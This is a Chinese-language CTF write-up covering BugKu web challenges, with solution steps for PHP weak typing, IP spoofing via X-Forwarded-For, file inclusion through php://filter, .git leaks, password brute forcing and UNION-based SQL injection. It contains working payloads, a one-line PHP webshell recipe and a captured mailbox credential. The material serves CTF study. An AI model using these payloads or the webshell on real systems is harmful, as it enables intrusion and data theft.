CTF-BugKu-Web-1-20


BUGku CTF-POST

打开发现PHP代码 需要POST传参获取一个flag

使用burp来抓包改为POST传参what=flag 让他输出flag
改为POST 然后 what=flag 成功获得

BUGku CTF-矛盾

PHP一个数字和一个字符串进行比较或者进行运算时,PHP会把字符串转换成数字再进行比较,PHP转换的规则的是:若字符串以数字开头,则取开头数字作为转换结果,若无则输出0。

在PHP中,== 会先进行类型转换,再进行对比,而===会先比较类型,如果类型不同直接返回不相等。

这题考的是弱类型 解题思路/?num=1) || True
if=($num==1) 意思就是num等于数字1就会打印flag 但是is_numeric函数检测数字

细心的话会注意到可以在1后面加个字符串这样就可以满足判断 num=1"a" // ""字符串里面可以输入随便英语 这样flag就出来了
我们在后面加一个字符串 加一个a 即可输出flag

BUGku CTF-alert

打开页面一直弹JS alert页面
然后我们禁用js 查看网站源码 可以看到一堆乱码 可以看得出可能是被编码了

禁用JS F12查看源码看到了一串编码

unicode转码一下 拿到flag

BUGku CTF-你必须让他停下


打开靶场发现一直弹出图片
我们这里利用burp抓包来一个个抓放包

这里抓到了大量数据包 我们发送到 重放模块模拟发送

通过几次发送放包 我们拿到了隐藏在里面的flag

BUGku CTF-社工初步收集

打开网站是一个刷钻的页面

我们随便点点 可以找到一个压缩包 ,不会逆向所以我们这里抓取wireshark

SMTP是一种提供可靠且有效的电子邮件传输的协议。SMTP是建立在FTP文件传输服务上的一种邮件服务,主要用于系统之间的邮件信息传递,并提供有关来信的通知。SMTP独立于特定的传输子系统,且只需要可靠有序的数据流信道支持,SMTP的重要特性之一是其能跨越网络传输邮件,即“SMTP邮件中继”。使用SMTP,可实现相同网络处理进程之间的邮件传输,也可通过中继器或网关实现某处理进程与其他网络之间的邮件传输.

这里还是需要记一下 查漏补缺 遇到什么就记录什么这里

我们先挂着御剑先扫描网站一下

我们发现用wireshark 抓取SMTP 协议 可以发现他的邮箱号

发现了他的邮箱

发现他的PASS,第一反应是密码 我们解密一下
bugkuku@163.com,XSLROCPMNWWZQDZL
通过wireshark 抓取到了 两个信息
我们用御剑扫描的时候分析到了 后台地址我们第一反应也是用账号密码进行登录 我们先试试

好吧不对,那我们思路就是错的,后台不对,我们登录邮箱来试试呀!

成功登陆

可恶啊全是他们搞得垃圾邮箱
电脑登录Foxmail 来缓存之前被删除的 而且看的很明白

置顶文件发现了密码 mara是他名字 暂时不知道有什么用 20010206 后台密码

进去后台页面

这里发现了flag

BUGku CTF-本地管理员


打开页面 然后发现是一个登录框 常规思路先打开F12看一看等号结尾 很可能是base64加密了 我们来解密

test123 应该是账号或者密码 没有找到其他信息 我们尝试弱口令常规密码账号登录一下

发现IP被拉进黑名单了 我们听说过伪造IP

X-Forwarded-For 是一个 HTTP 扩展头部。HTTP/1.1(RFC 2616)协议并没有对它的定义,它最开始是由 Squid 这个缓存代理软件引入,用来表示 HTTP 请求端真实 IP。如今它已经成为事实上的标准,被各大 HTTP 代理、负载均衡等转发服务广泛使用,并被写入 RFC 7239(Forwarded HTTP Extension)标准之中。

X-Forwarded-For 请求头格式非常简单,就这样:

X-Forwarded-For: 127.0.0.1

所以通过xff我们可以达到伪造IP来构造IP请求数据包

成功拿到flag

BUGku CTF-bp


根据题目我们可以猜到应该是要爆破

知道了账号 只爆破密码
这里我就不给图片了 我爆破了 十万个密码都不对
通过观察响应包里面的内容,我们发现错误包里面都会返回一个JavaScript代码告知我们的密码有错误。
因此我们通过Burpsuite的 (Grep – Match 在响应中找出存在指定的内容的一项。)


都一样
然后发现每次都返回一个js的响应包

过滤掉存在JavaScript代码中的{code: 'bugku10000'}的数据包。

再来尝试一下

发现一个没打钩 很特殊的

z开头的 很符合题目的提示 我们来试试吧

OK拿到flag

BUGku CTF-eval


在代码中先是通过include包含了flag.php

​ REQUEST['hello']来获取用户传给服务器的hello参数
var_dump()会将传入的变量打印到页面,eval()会执行传入到其中的php代码,eval("var_dump($a);")就是把$a的内容打印出来

思路:给hello赋值,执行后会将变量的类型和内容打印出来,可以使用file()函数先将flag.php的内容存入数组,然后这个数组会被var_dump()和eval()函数输出到页面

PHP:var_dump - Manual

PHP var_dump() 函数-W3Cschool

用法:


我们来构造pyloads 来试试

成功用file函数 将flag 以数组的方式打印出来

BUGku CTF-变量1


打开提示 flag在变量里面
搜一下 代码里出现的函数
发现是关闭错误报告 的意思

highlight_file ()函数

<?php
error_reporting(0);// 关闭php错误显示
include "flag1.php";// 引入flag1.php文件代码
highlight_file(__file__);
if(isset($_GET['args'])){// 通过get方式传递 args变量才能执行if里面的代码
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){// 这个正则表达式的意思是匹配任意 [A-Za-z0-9_] 的字符,就是任意大小写字母和0到9以及下划线组成
        die("args error!");
    }
    eval("var_dump($$args);");// 这边告诉我们这题是代码审计的题目
}
?>

args=flag1.php 这样提交也不对因为正则了字母字符以及下划线
最后一句话

eval(var_dump($$args));
有两个$符号,这里可以做个小小的例子:可以简单理解,把这个东西想象成二级指针。
如果$a='hello',$hello=world,那么$$a=world。
所以在做替换的时候,如果args=flag,那么最后的结果就是eval(var_dump($flag);

也难怪系统输出了null。
这里涉及到了全局变量
$GLOBALS
$GLOBALS — 引用全局作用域中可用的全部变量
范例

https://www.php.net/manual/zh/re

served.variables.globals.php
那么我们构造一下提交

BUGku CTF-头等舱


啥也没有 就很奇怪 可能隐藏在数据包或者HTML 代码里?
常规看代码没有 抓个包试试

发现flag

BUGku CTF-game1


打开玩一玩 我竟然忘了我要做题了

这是分数?
我们解密后发现

怎么解码不出来 看了WP发现不需要解码zm 也没说是为什么
然后我们修改Score=4000 然后吧bese64编码4000

提交了发现flag

BUGku CTF-社工伪造

首先这题启动环境,发现需要输入QQ,尝试各种扫后台,查看网
页内容都没有收获;
于是查看大佬博客发现,用自己的QQ登录发现,小美
要用他男朋友QQ登录才能询问消息,
于是网上搜索他男朋友昵称:小bug
登录得到flag

这道题 脑洞很大 QQ能搜到很多他男朋友的QQ找一找登录 试试 flag 我就不写全过程了

BUGku CTF-source

这道题墨迹了很久 看了下wp发现是.git文件泄露
我们用gobuster 跑了一下发现了/.git/目录

gobuster dir -u http://114.67.246.176:10491/ -w /usr/share/wordlists/dirb/common.txt

wget -r http://114.67.246.176:10491/.git
递归下载网站泄露的.git文件以及文件夹

git reflog
我们查看执行的命令日志
img
git show
一个个看 我看wp还可以用
git show commit_id 命令查看commit 我是一个一个解出来的
里面有很多假flag

BUGku CTF-源代码

打开

让查看源代码 我们看一看

看到了一串编码?

unescape() 函数可对通过 escape() 编码的字符串进行解码。
根据 代码分析后是

P1加%35%34%61%61%32加p2
function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;

我们吧这个67d709b2b54aa2aa648cf6e87a7114f1 提交到框框
得到真实flag

BUGku CTF-文件包含

什么是文件包含漏洞

​ 通过PHP函数引入文件时,传入的文件名没有经过合理的验证,从而操作了预想之外的文件,就可能导致意外的文件泄漏甚至恶意代码注入。

文件包含漏洞的环境要求

  • allow_url_fopen=On(默认为On) 规定是否允许从远程服务器或者网站检索数据
  • allow_url_include=On(php5.2之后默认为Off) 规定是否允许include/require远程文件

常见文件包含函数

php中常见的文件包含函数有以下四种:

  1. include()
  2. require()
  3. include_once()
  4. require_once()

include与require基本是相同的,除了错误处理方面:

  1. include(),只生成警告(E_WARNING),并且脚本会继续
  2. require(),会生成致命错误(E_COMPILE_ERROR)并停止脚本
  3. include_once()与require_once(),如果文件已包含,则不会包含,其他特性如上

PHP伪协议

1.php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行

2.php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。

3.zip://可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。

4.data://与phar://类似与php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致任意代码执行。

5.包含Apache日志文件WEB服务器一般会将用户的访问记录保存在访问日志中。那么我们可以根据日志记录的内容,精心构造请求,把PHP代码插入到日志文件中,通过文件包含漏洞来执行日志中的PHP代码。

6.包含SESSION可以先根据尝试包含到SESSION文件,在根据文件内容寻找可控变量,在构造payload插入到文件中,最后包含即可。

利用条件:

  • 找到Session内的可控变量
  • Session文件可读写,并且知道存储路径

session常见存储路径:

  1. /var/lib/php/sess_PHPSESSID
  2. /var/lib/php/sess_PHPSESSID
  3. /tmp/sess_PHPSESSID
  4. /tmp/sessions/sess_PHPSESSID
  5. session文件格式: sess_[phpsessid] ,而 phpsessid 在发送的请求的 cookie 字段中可以看到。

7.包含/pros/self/environ  proc/self/environ中会保存user-agent头,如果在user-agent中插入php代码,则php代码会被写入到environ中,之后再包含它,即可。

利用条件:

  1. php以cgi方式运行,这样environ才会保持UA头。
  2. environ文件存储位置已知,且environ文件可读。

8.包含临时文件

在这里插入图片描述

php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp目录。在临时文件被删除之前,利用竞争即可包含该临时文件。

由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535中不同的文件名,所以这个方法是可行的。

另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可

9.包含上传文件

很多网站通常会提供文件上传功能,比如:上传头像、文档等,这时就可以采取上传一句话图片木马的方式进行包含。

图片马的制作方式如下,在cmd控制台下输入:

进入1.jph和2.php的文件目录后,执行:

copy  1.jpg/b+2.php  3.jpg

将图片1.jpg和包含php代码的2.php文件合并生成图片马3.jpg

假设已经上传一句话图片木马到服务器,路径为

upload/65212.jpg

图片代码如下:

<?fputs(fopen("shell.php","w"),"<?php eval($_POST['pass']);?>")?>

然后访问URL:http://www.xxxx.com/index.php?page=./upload/201811.jpg包含这张图片,将会在index.php所在的目录下生成`shell.php

http://114.67.246.176:10873/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

用这个 读出来了一串像base64的一串加密? 解密后看到源码
<html>
    <title>Bugku-web</title>
    
<?php
	error_reporting(0);
	if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
	$file=$_GET['file'];
	if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
		echo "Oh no!";
		exit();
	}
	include($file); 
//flag:flag{e65afee46dc020757f5199a8f2a27288}
?>
</html>

可以看到flag

这里可以去看一看文件包含和 php文件伪协议 在实战中也经常出现

BUGku CTF-好像需要密码?

打开发现 可能是爆破 ? burp爆破了发现很慢
我们也不会脚本 这里利用网上现成的

import requests

def ssh():
    url = "http://114.67.246.176:18966/"
    for pwd in range(10000,100000):
        pwd = str(pwd)
        r = requests.post(url, data={'pwd': pwd})
        r.encoding = 'utf-8'
        r_text = r.text
        judge = "密码不正确,请重新输入"
        if (judge in r.text):
            print("尝试密码:{},反应状态码:{},密码错误.".format(pwd, r))
        else:
            print("尝试密码:{},反应状态码:{},密码正确.".format(pwd, r))
            print("爆破完成")
            break

ssh()


成功爆破

提交拿到flag

BUGku CTF-备份是个好习惯

打开网站发现 是一串加密 解密后发现提示为NULL
这里的题目是备份 应该是要看备份文件的
然后用后来看了看WP才知道有个index.php.bak的备份文件,打开后发现是PHP源码,里面进行了参数过滤和if的验证,直接kekey1y[]=1&kekey2y[]=2绕过,得到flag!

BUGku CTF-cookies

打开网站发现是一串英文字母

发现是filename 的传参 文件时用base64加密的 我们解密一下

解密后发现加密文件为keys.txt
然后发现是可以读取文件的 我们这里读取index.php文件试一试?
吧index.php加密后 aW5kZXgucGhw 提交后发现 页面空了?

我们用WP给的python 代码 来跑一下

拿到了

<?php 
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
//header函数重定向到初始页面 headers(“location:path”)
$file_list = array(//array  创建一个数组 
'0' =>'keys.txt',//数组元素1
'1' =>'index.php',//数组元素2
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
    //检测cookie是否为margin=margin
$file_list[2]='keys.php';//如果是这样那么向file_list数组中加入一个新元素keys.php
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>

从php代码中可以看出来,我们需要将keys.php这段字符串Base64加密
a2V5cy5waHA=

然后将其作为filename的值,还要构造Cookie: margin=margin这个Cookie头

    一共有17行,

从第三行开始解释
首先用了一个条件运算符?:

对filename和line进行一个检测
第五行如果filename为空,

那么通过headers函数重定向到初始页面
headers(“location:path”)

第六行创建一个数组共有2个元素
第十行就是和该题目相关的,

检测cookie是否设置,且是否设置为margin=margin

如果是这样那么向file_list数组中加入一个新元素keys.php
显然flag在这里面啊,那就简单了

//a2V5cy50eHQ= keys.txt

//a2V5cy5waHA= keys.php

base64.decode(keys.php)=a2V5cy5waHA=

第一步构造url:
http://114.67.246.176:13254/index.php?line=&filename=a2V5cy5waHA=

第二步在bp里面修改cookie
把原来的cookie删除
that’s ok
至于13行下面就是关于一行一行输出文件内容的代码啦
in_array是判断键值是否在数组中
file函数是将文件分割一行一行的,并且按照数组储存
构造payload

BUGku CTF-never_give_up

打开发现

发现啥都没有 我们 F12看一看 发现了一个 1p.html

我们访问试一试
访问后 跳转到buu的 主页 然后还是得看

view-source 这种协议 可以查看网页的源码
然后我们来试一试

也就是右键查看源代码

var Words ="%3Cscript%3Ewindow.location.href%3D%27http%3A//www.bugku.com%27%3B%3C/script%3E%20%0A%3C%21--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ%3D%3D--%3E" 
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
} 
OutWord();

然后我们看到了 一串加密

我们发现是 base64的加密

var Words ="<script>window.location.href='http://www.bugku.com';</script> 
<!--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ==-->" 
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
} 
OutWord();

解密后又感觉 像unicode 编码

我们继续解密

var Words ="<script>window.location.href='http://www.bugku.com';</script>
<!--%22%3Bif%28%21%24_GET%5B%27id%27%5D%29%0A%7B%0A%09header%28%27Location%3A%20hello.php%3Fid%3D1%27%29%3B%0A%09exit%28%29%3B%0A%7D%0A%24id%3D%24_GET%5B%27id%27%5D%3B%0A%24a%3D%24_GET%5B%27a%27%5D%3B%0A%24b%3D%24_GET%5B%27b%27%5D%3B%0Aif%28stripos%28%24a%2C%27.%27%29%29%0A%7B%0A%09echo%20%27no%20no%20no%20no%20no%20no%20no%27%3B%0A%09return%20%3B%0A%7D%0A%24data%20%3D%20@file_get_contents%28%24a%2C%27r%27%29%3B%0Aif%28%24data%3D%3D%22bugku%20is%20a%20nice%20plateform%21%22%20and%20%24id%3D%3D0%20and%20strlen%28%24b%29%3E5%20and%20eregi%28%22111%22.substr%28%24b%2C0%2C1%29%2C%221114%22%29%20and%20substr%28%24b%2C0%2C1%29%21%3D4%29%0A%7B%0A%09require%28%22f4l2a3g.txt%22%29%3B%0A%7D%0Aelse%0A%7B%0A%09print%20%22never%20never%20never%20give%20up%20%21%21%21%22%3B%0A%7D%0A%0A%0A%3F%3E
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
} 
OutWord();

再次解密

var Words ="<script>window.location.href='http://www.bugku.com';</script> 
<!--";if(!$_GET['id'])
{
	header('Location: hello.php?id=1');
	exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
	echo 'no no no no no no no';
	return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
	require("f4l2a3g.txt");
}
else
{
	print "never never never give up !!!";
}
?>
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
} 
OutWord();

直接访问这个f4l2a3g.txt文件

好像还可以利用input去 拿到flag 各位自己去试

BUGku CTF-学生成绩 查询

应该是 注入 是一个表单 要提交所以应该是POST注入

我们用burp或者hackbaer 来进行注入

id=1 and 1=2 正常

id=1‘ 报错 字符型 POST注入

我们来 进行order by 来看列数

到5的时候 没有了 说明只有四列

我们用union查询 查询数据库 database()

id=-1' union select 1,2,3,database() #

查询到库为:skctf

id=-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#

查询到表名为:fl4g,sc

id=-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema='skctf' and table_name='fl4g.sc'#

然后查他的列名:skctf_flag
id=-1'union select 1,2,3,skctf_flag from fl4g#
查询到flag


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM